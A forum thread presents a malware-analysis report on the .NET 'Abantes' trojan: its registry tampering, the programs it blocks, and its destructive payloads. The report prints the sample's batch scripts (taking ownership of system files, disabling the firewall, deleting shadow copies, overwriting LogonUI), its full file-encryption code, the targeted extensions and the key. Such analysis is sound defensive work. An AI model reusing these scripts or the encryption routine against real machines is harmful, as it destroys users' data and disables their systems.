吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1988|回复: 21
上一主题 下一主题
收起左侧

[PC样本分析] Abantes样本分析报告

[复制链接]
跳转到指定楼层
楼主
20230713G001133 发表于 2024-7-19 15:16 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
1.文件分析文件信息
名称: Abantes.exe
大小: 2271744 字节 (2218 KiB)
CRC32: 93D8F7FE
CRC64: C9B45FB7B64F442B
SHA256: cf8ef09c5380a2a6e1ccb0210d6ba9707b3e07d2a650d1abe31dc4b80392f742
SHA1: 3f5e8c3945ab7ff8d32c25a65b12d0c538ab0688
BLAKE2sp: 9e7c5d4fa59a6fa3365f9c37fa464aff8cf24ae0ec35049cc96110f6778465cc
XXH64: 7E25F27C8785FA03

使用ExeInfoPE打开

程序本身没有加壳,并且是使用net framework编写

用DNSPY打开


程序入口点位于Abantes.Start.Main
代码如下:



代码主要功能
首先通过 Environment.OSVersion 和 Version.Major、Version.Minor 检查操作系统的版本。
特别是检查操作系统是否为 Windows NT (PlatformID.Win32NT)。
根据检测到的操作系统版本(major 和 minor 版本),设置字符串 a 来表示运行的是哪个版本的 Windows ("10"、"8" 或 "8.1")。
[C#] 纯文本查看 复制代码
// 获取当前操作系统的版本信息
OperatingSystem osInfo = Environment.OSVersion;
int major = osInfo.Version.Major;  // 获取操作系统的主版本号
int minor = osInfo.Version.Minor;  // 获取操作系统的次版本号

string a = "";  // 初始化一个空字符串变量 a

// 判断当前操作系统是否为 Windows NT 平台
if (osInfo.Platform == PlatformID.Win32NT)
{
    // 根据操作系统的主版本号和次版本号来判断具体的 Windows 版本
    if (major == 10)
    {
        a = "10";  // Windows 10
    }
    else if (major == 6 && minor == 3)
    {
        a = "8.1";  // Windows 8.1
    }
    else if (major == 6 && minor == 2)
    {
        a = "8";  // Windows 8
    }
}

解释:
获取操作系统信息:

Environment.OSVersion 方法返回一个 OperatingSystem 对象,该对象包含有关当前操作系统的版本信息。
获取主版本号和次版本号:

从 OperatingSystem 对象中提取 Version 属性,然后分别获取 Major 和 Minor 属性。这两个属性分别表示操作系统的主版本号和次版本号。
操作系统平台判断:

使用 osInfo.Platform == PlatformID.Win32NT 条件来确保当前操作系统是基于 Windows NT 架构的。
判断具体的 Windows 版本:

根据主版本号 major 和次版本号 minor 的组合,来确定当前运行的是哪个具体版本的 Windows 操作系统。
如果 major == 10,则表示当前操作系统是 Windows 10,此时将字符串变量 a 设置为 "10"。
如果 major == 6 且 minor == 3,则表示当前操作系统是 Windows 8.1,将 a 设置为 "8.1"。
如果 major == 6 且 minor == 2,则表示当前操作系统是 Windows 8,将 a 设置为 "8"。
总结:
这段代码的目的是根据当前运行的操作系统版本来设定一个字符串变量 a,以便后续根据不同的操作系统版本执行不同的逻辑。这种方式可以帮助程序根据操作系统的特定行为或兼容性进行调整和优化。

无论操作系统版本如何,代码接着创建了一个 MainThread 的实例(可能是一个窗体或主线程)。
配置这个窗体 (MainThread) 为隐藏在屏幕外 (Location = new Point(-2000, -2000),Size = new Size(1, 1))。

最后,如果确定系统为Win7,设置 MainThread 的一些属性(如 FormBorderStyle、ShowInTaskbar、StartPosition),并使用 Application.Run(mainThread) 运行应用程序。
MainThread部分

这段代码的作用是检查当前计算机上是否已经运行了名为 "Abantes" 的进程,如果已经有多于一个实例在运行,则立即终止当前进程。
接下来检测2个注册表

这段代码用于检查注册表中是否存在名为 "Debug" 的值,并且该值不为空,然后检查的是名为 "DebugInfectMsg" 的注册表值是否为空
如果存在名为 "Debug" 的值,并且该值不为空,并且名为 "DebugInfectMsg" 的注册表值为空
就会启动调试模式,弹出一个消息框INFECT SYSTEM?
点击否程序结束,点击是继续运行

接下来是释放文件

检测HKEY_LOCAL_MACHINE\\Software\\Abantes"中的"AbantesWasHere“是否存在
如果不存在就释放文件
        Directory.CreateDirectory("C:\\Windows\\Defender");
        File.WriteAllText(text + "\\Action.bat", Resources.Action);用于获取文件的权限和替换MUI文件
[Asm] 纯文本查看 复制代码
@echo on
cd\&cd Windows\System32
takeown /f logonui.exe
icacls logonui.exe /granted %username%:F
takeown /f "C:\Windows\System32\en-US" /r /d y
icacls "C:\Windows\System32\en-US" /granted %username%:F /T /C
cd\&cd Windows
takeown /f explorer.exe
takeown /f regedit.exe
takeown /f HelpPane.exe
takeown /f "C:\Windows\Temp" /r /d y
takeown /f "C:\Windows\en-US" /r /d y
icacls "C:\Windows\Temp" /granted %username%:F /T /C
icacls "C:\Windows\en-US" /granted %username%:F /T /C
icacls regedit.exe /granted %username%:F
icacls explorer.exe /granted %username%:F
icacls HelpPane.exe /granted %username%:F
wmic useraccount where name='%username%' set FullName='Abantes Was Here'
wmic useraccount where name='%username%' rename 'Abantes Was Here'
NetSh Advfirewall set allprofiles state off
vssadmin delete shadows /all /quiet
taskkill /f /im explorer.exe
TIMEOUT 1
copy "C:\Windows\Defender\authui.dll.mui" "C:\Windows\System32\en-US\authui.dll.mui" /Y
copy "C:\Windows\Defender\explorer.exe.mui" "C:\Windows\en-US\explorer.exe.mui" /Y
TIMEOUT 2

        File.WriteAllText(text + "\\logonOverwrite.bat", Resources.LogonOverwrite);用于覆盖C:\Windows\System32\logonUI.exe
[Asm] 纯文本查看 复制代码
@echo on
cd\&cd Windows\System32
takeown /f logonui.exe
icacls logonui.exe /granted %username%:F
takeown /f "C:\Windows\Temp" /r /d y
icacls "C:\Windows\Temp" /granted %username%:F /T /C
copy "C:\Windows\Defender\LogonUIStart.exe" "C:\Windows\System32\LogonUI.exe" /Y
copy "C:\Windows\Defender\LogonUi.exe" "C:\Windows\Temp\LogonUi.exe" /Y

        File.WriteAllBytes(text + "\\cursor.cur", Resources.creepy_mouse);鼠标指针

        File.WriteAllBytes(text + "\\icon.ico", Resources.icon);用于修改EXE文件默认图标

        File.WriteAllBytes(text + "\\LogonUIStart.exe", Resources.LogonUI_Start);用于启动C:\Windows\Defender\LogonUI.exe

        File.WriteAllBytes(text + "\\IFEO.exe", Resources.IFEODebugger);映像劫持的文件
打开后提示消息框

        File.WriteAllBytes(text + "\\Payloads.dll", Resources.Payloads);DLL文件,用于在屏幕上输出特校,并且有蓝屏和覆盖MBR的功能

        File.WriteAllBytes(text + "\\Rules.exe", Resources.Rules);一个提示框

        File.WriteAllBytes(text + "\\LogonUi.exe", Resources.LogonUI);
用于替换系统的LogonUI程序

        File.WriteAllBytes(text + "\\explorer.exe.mui", Resources.explorer_exe);一个MUI文件,和后面的Resources.authui_dll相同
        File.WriteAllBytes(text + "\\authui.dll.mui", Resources.authui_dll);
        File.WriteAllBytes(text + "\\data.bin", Resources.data);MBR数据


接下来修改桌面壁纸并将自己也复制到C:\Windows\Defender目录



接下来是修改注册表
修改EXE和TXT文件的默认图标
通过修改 Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System中的legalnoticecaption和legalnoticetext达到在系统登录时显示如下信息
Welcome To Hell
This Computer has been Infected by the Abantes Trojan. Hope You Enjoy.
接下来通过修改注册表的方式禁用控制面板 registryKey6.SetValue("NoControlPanel", "1");
通过将AutoRestartShell设置为0达到禁用自动重新启动 Windows Shell (如 Explorer.exe)。
将自身放到UserINIT达到开机自启动
关闭UAC"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\EnableLUA"
禁用任务管理器


接下来通过映像劫持禁止如下程序启动
regedit.exe
notepad.exe
HelpPane.exe
calc.exe
mspaint.exe
DVDMaker.exe
wmplayer.exe
wordpad.exe
SnippingTool.exe
WindowsAnytimeUpgradeui.exe
WindowsAnytimeUpgrade.exe
StikyNot.exe
ehshell.exe
xpsrchvw.exe
mstsc.exe
chrome.exe
opera.exe
firefox.exe
iexplore.exe
MicrosoftEdgeCP.exe
MicrosoftEdge.exe
resmon.exe
procexp.exe
procexp64.exe
mmc.exe


接下来将所有的鼠标指针改为Abantes.Resources.creepy mouse.cur



隐藏磁盘驱动器


启动Action.bat


创建计划任务然后注销


当重新登录系统是启动2个线程和rules窗口



第一个线程是特效
第二个线程用于检测

检测用户如果打开以下程序
                "msconfig",
                "taskmgr",
                "cmd",
                "taskschd",
                "mmc",
                "resmon"
以下进程必须执行
                "Rules"
这些文件必须存在
                "C:\\Windows\\Defender\\Rules.exe",
                "C:\\Windows\\Defender\\Abantes.exe",
                "C:\\Windows\\Defender\\Payloads.dll",
                "C:\\Windows\\Defender\\IFEO.exe"



如果发现异常则启动Destructive.KillPC();

分别是加密用户文件
覆盖LogonUI6
修改HKLM\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\中的Shell和UserInit达到无法启动explorer而是启动前面提到的C:\\Windows\\Defender\\LogonUIStart.exe
删除MBR
删除HKEY_CLASSES_ROOT,HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE,HKEY_CURRENT_CONFIG中的所有数据
一键结束系统所有进程
蓝屏

免费评分

参与人数 5吾爱币 +7 热心值 +4 收起 理由
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
snowhee + 1 谢谢@Thanks!
李佑辰 + 3 + 1 我很赞同!
zhiyuckt + 1 我很赞同!
JUNWO999 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
 楼主| 20230713G001133 发表于 2024-7-19 15:51 |楼主
以下是加密文件的相关代码

加密以下扩展名的文件
                    ".jpg",
                    ".jpeg",
                    ".raw",
                    ".tif",
                    ".gif",
                    ".png",
                    ".bmp",
                    ".3dm",
                    ".max",
                    ".accdb",
                    ".db",
                    ".dbf",
                    ".mdb",
                    ".pdb",
                    ".sql",
                    ".dwg",
                    ".dxf",
                    ".c",
                    ".cpp",
                    ".cs",
                    ".h",
                    ".php",
                    ".asp",
                    ".rb",
                    ".java",
                    ".jar",
                    ".class",
                    ".py",
                    ".js",
                    ".rar",
                    ".zip",
                    ".7zip",
                    ".7z",
                    ".dat",
                    ".csv",
                    ".efx",
                    ".sdf",
                    ".vcf",
                    ".xml",
                    ".ses",
                    ".aaf",
                    ".aep",
                    ".aepx",
                    ".plb",
                    ".prel",
                    ".prproj",
                    ".aet",
                    ".ppj",
                    ".psd",
                    ".indd",
                    ".indl",
                    ".indt",
                    ".indb",
                    ".inx",
                    ".idml",
                    ".pmd",
                    ".xqx",
                    ".xqx",
                    ".ai",
                    ".eps",
                    ".ps",
                    ".svg",
                    ".swf",
                    ".fla",
                    ".as3",
                    ".as",
                    ".txt",
                    ".doc",
                    ".dot",
                    ".docx",
                    ".docm",
                    ".dotx",
                    ".dotm",
                    ".docb",
                    ".rtf",
                    ".wpd",
                    ".wps",
                    ".msg",
                    ".pdf",
                    ".xls",
                    ".xlt",
                    ".xlm",
                    ".xlsx",
                    ".xlsm",
                    ".xltx",
                    ".xltm",
                    ".xlsb",
                    ".xla",
                    ".xlam",
                    ".xll",
                    ".xlw",
                    ".ppt",
                    ".pot",
                    ".pps",
                    ".pptx",
                    ".pptm",
                    ".potx",
                    ".potm",
                    ".ppam",
                    ".ppsx",
                    ".ppsm",
                    ".sldx",
                    ".sldm",
                    ".wav",
                    ".mp3",
                    ".aif",
                    ".iff",
                    ".m3u",
                    ".m4u",
                    ".mid",
                    ".mpa",
                    ".wma",
                    ".ra",
                    ".avi",
                    ".mov",
                    ".mp4",
                    ".3gp",
                    ".mpeg",
                    ".3g2",
                    ".asf",
                    ".asx",
                    ".flv",
                    ".mpg",
                    ".wmv",
                    ".vob",
                    ".m3u8",
                    ".mkv",
                    ".m4a",
                    ".ico",
                    ".dic",
                    ".rex",
                    ".hmg",
                    ".config",
                    ".resx",
                    ".res"




调用Encryption.FileEncrypt函数,密钥是WR8h2GIbf9FGz6VVlSzJ


以下为加解密部分全部代码
[Asm] 纯文本查看 复制代码
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

namespace Abantes.Utils
{
	// Token: 0x02000008 RID: 8
	internal class Encryption
	{
		// Token: 0x0600002B RID: 43 RVA: 0x000045C0 File Offset: 0x000027C0
		public static byte[] GenerateRandomSalt()
		{
			byte[] array = new byte[32];
			using (RNGCryptoServiceProvider rngcryptoServiceProvider = new RNGCryptoServiceProvider())
			{
				for (int i = 0; i < 10; i++)
				{
					rngcryptoServiceProvider.GetBytes(array);
				}
			}
			return array;
		}

		// Token: 0x0600002C RID: 44 RVA: 0x0000460C File Offset: 0x0000280C
		public static void FileEncrypt(string inputFile, string password)
		{
			byte[] array = Encryption.GenerateRandomSalt();
			FileStream fileStream = new FileStream(inputFile + ".Abantes", FileMode.Create);
			byte[] bytes = Encoding.UTF8.GetBytes(password);
			RijndaelManaged rijndaelManaged = new RijndaelManaged();
			rijndaelManaged.KeySize = 256;
			rijndaelManaged.BlockSize = 128;
			rijndaelManaged.Padding = PaddingMode.PKCS7;
			Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
			rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
			rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
			rijndaelManaged.Mode = CipherMode.CFB;
			fileStream.Write(array, 0, array.Length);
			CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
			FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
			byte[] array2 = new byte[1048576];
			try
			{
				int count;
				while ((count = fileStream2.Read(array2, 0, array2.Length)) > 0)
				{
					Application.DoEvents();
					cryptoStream.Write(array2, 0, count);
				}
				fileStream2.Close();
			}
			catch (Exception ex)
			{
				Console.WriteLine("Error: " + ex.Message);
			}
			finally
			{
				cryptoStream.Close();
				fileStream.Close();
			}
		}

		// Token: 0x0600002D RID: 45 RVA: 0x00004740 File Offset: 0x00002940
		public static void FileDecrypt(string inputFile, string outputFile, string password)
		{
			byte[] bytes = Encoding.UTF8.GetBytes(password);
			byte[] array = new byte[32];
			FileStream fileStream = new FileStream(inputFile, FileMode.Open);
			fileStream.Read(array, 0, array.Length);
			RijndaelManaged rijndaelManaged = new RijndaelManaged();
			rijndaelManaged.KeySize = 256;
			rijndaelManaged.BlockSize = 128;
			Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
			rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
			rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
			rijndaelManaged.Padding = PaddingMode.PKCS7;
			rijndaelManaged.Mode = CipherMode.CFB;
			CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Read);
			FileStream fileStream2 = new FileStream(outputFile, FileMode.Create);
			byte[] array2 = new byte[1048576];
			try
			{
				int count;
				while ((count = cryptoStream.Read(array2, 0, array2.Length)) > 0)
				{
					Application.DoEvents();
					fileStream2.Write(array2, 0, count);
				}
			}
			catch (CryptographicException ex)
			{
				Console.WriteLine("CryptographicException error: " + ex.Message);
			}
			catch (Exception ex2)
			{
				Console.WriteLine("Error: " + ex2.Message);
			}
			try
			{
				cryptoStream.Close();
			}
			catch (Exception ex3)
			{
				Console.WriteLine("Error by closing CryptoStream: " + ex3.Message);
			}
			finally
			{
				fileStream2.Close();
				fileStream.Close();
			}
		}
	}
}



当使用上述代码进行文件加密和解密时,涉及到几个关键的步骤和流程。下面分别详细描述加密和解密的流程:加密流程 (FileEncrypt 方法)
  • 生成随机盐:
    • 使用 GenerateRandomSalt() 方法生成一个长度为 32 字节的随机盐。盐在密码学中用于增加每个密码的唯一性,从而增强安全性。
  • 打开输出文件流:
    • 使用 FileStream 打开一个新文件,文件名为原始输入文件名加上 .Abantes 后缀。这个文件将用来存储加密后的数据。
  • 生成密钥和 IV:
    • 使用 Rfc2898DeriveBytes 类基于用户提供的密码和生成的随机盐来派生密钥和初始化向量 (IV)。这里使用了 50000 次迭代来增加密码派生的复杂性和安全性。
  • 配置加密算法:
    • 创建 RijndaelManaged 对象,设置密钥大小为 256 位,块大小为 128 位,填充模式为 PaddingMode.PKCS7,加密模式为 CipherMode.CFB。这些参数定义了 AES 加密算法的使用方式。
  • 写入盐:
    • 将生成的随机盐写入到输出文件流的开头。盐的存在使得每个文件的加密结果唯一。
  • 创建加密流:
    • 使用 CryptoStream 创建一个流,该流连接到输出文件流,并使用 RijndaelManaged 创建的加密器进行加密操作。
  • 读取和加密文件:
    • 打开原始输入文件的 FileStream,读取文件内容,并使用 CryptoStream 将读取的数据进行加密。加密后的数据会直接写入到输出文件流中。
  • 关闭流:
    • 关闭 CryptoStream 和文件流,释放资源。

解密流程 (FileDecrypt 方法)
  • 读取盐:
    • 打开加密后的输入文件(文件名由用户提供),读取开头的 32 字节作为盐。这个盐与加密时写入的盐对应。
  • 生成密钥和 IV:
    • 使用与加密过程中相同的方法,即使用 Rfc2898DeriveBytes 类基于用户提供的密码和读取的盐来派生密钥和 IV。
  • 配置解密算法:
    • 创建 RijndaelManaged 对象,设置相同的密钥大小、块大小、填充模式和加密模式。
  • 创建解密流:
    • 使用 CryptoStream 创建一个流,连接到加密后的输入文件流,并使用 RijndaelManaged 创建的解密器进行解密操作。
  • 写入解密后的文件:
    • 创建一个新的 FileStream,用于写入解密后的数据,文件名由用户提供。通过 CryptoStream 读取加密后的输入文件流的数据,并将解密后的明文写入到新文件中。
  • 关闭流:
    • 关闭 CryptoStream 和文件流,释放资源。

关键点说明:
  • 密钥和 IV 的派生:
    • 使用 Rfc2898DeriveBytes 类基于密码和盐来生成固定长度的密钥和 IV。这种方式确保了加密和解密时所使用的密钥和 IV 是一致的,同时增强了对密码的保护。
  • 加密算法设置:
    • AES 算法的参数设置包括密钥大小、块大小、填充模式和加密模式。这些参数需要在加密和解密时保持一致,以确保正确的加解密操作。
  • 流的使用:
    • 使用 CryptoStream 可以方便地将加密和解密操作集成到文件处理流程中,同时避免一次性将整个文件内容加载到内存中,适用于处理大文件。
  • 异常处理:
    • 使用 try-catch 块捕获可能发生的异常,如密码错误或文件读写问题,以便及时处理并给出反馈。

这些步骤构成了一个基本的文件加密和解密流程,适用于需要保护敏感数据的应用场景,同时提供了良好的安全性和可靠性。
3#
SoftCracker 发表于 2024-7-20 05:06
4#
 楼主| 20230713G001133 发表于 2024-7-20 08:34 |楼主
5#
Lty20000423 发表于 2024-7-20 18:16
20230713G001133 发表于 2024-7-20 08:34
这么多的恶意行为怎么可能没毒

Java是世界上最好的语言
6#
 楼主| 20230713G001133 发表于 2024-7-20 18:45 |楼主
Lty20000423 发表于 2024-7-20 18:16
Java是世界上最好的语言

C#是世界上最容易反编译的语言
7#
SoftCracker 发表于 2024-7-21 02:32
20230713G001133 发表于 2024-7-20 18:45
C#是世界上最容易反编译的语言

用vmp虚拟化
8#
SoftCracker 发表于 2024-7-21 02:33
20230713G001133 发表于 2024-7-20 08:34
这么多的恶意行为怎么可能没毒

很少见到.NET病毒
9#
a3322a 发表于 2024-7-21 07:33
感谢大佬分享,学习了
10#
 楼主| 20230713G001133 发表于 2024-7-21 08:18 |楼主

论坛里有个叫做StalinLocker的病毒,也是用net framework写的
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-9-8 07:04

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表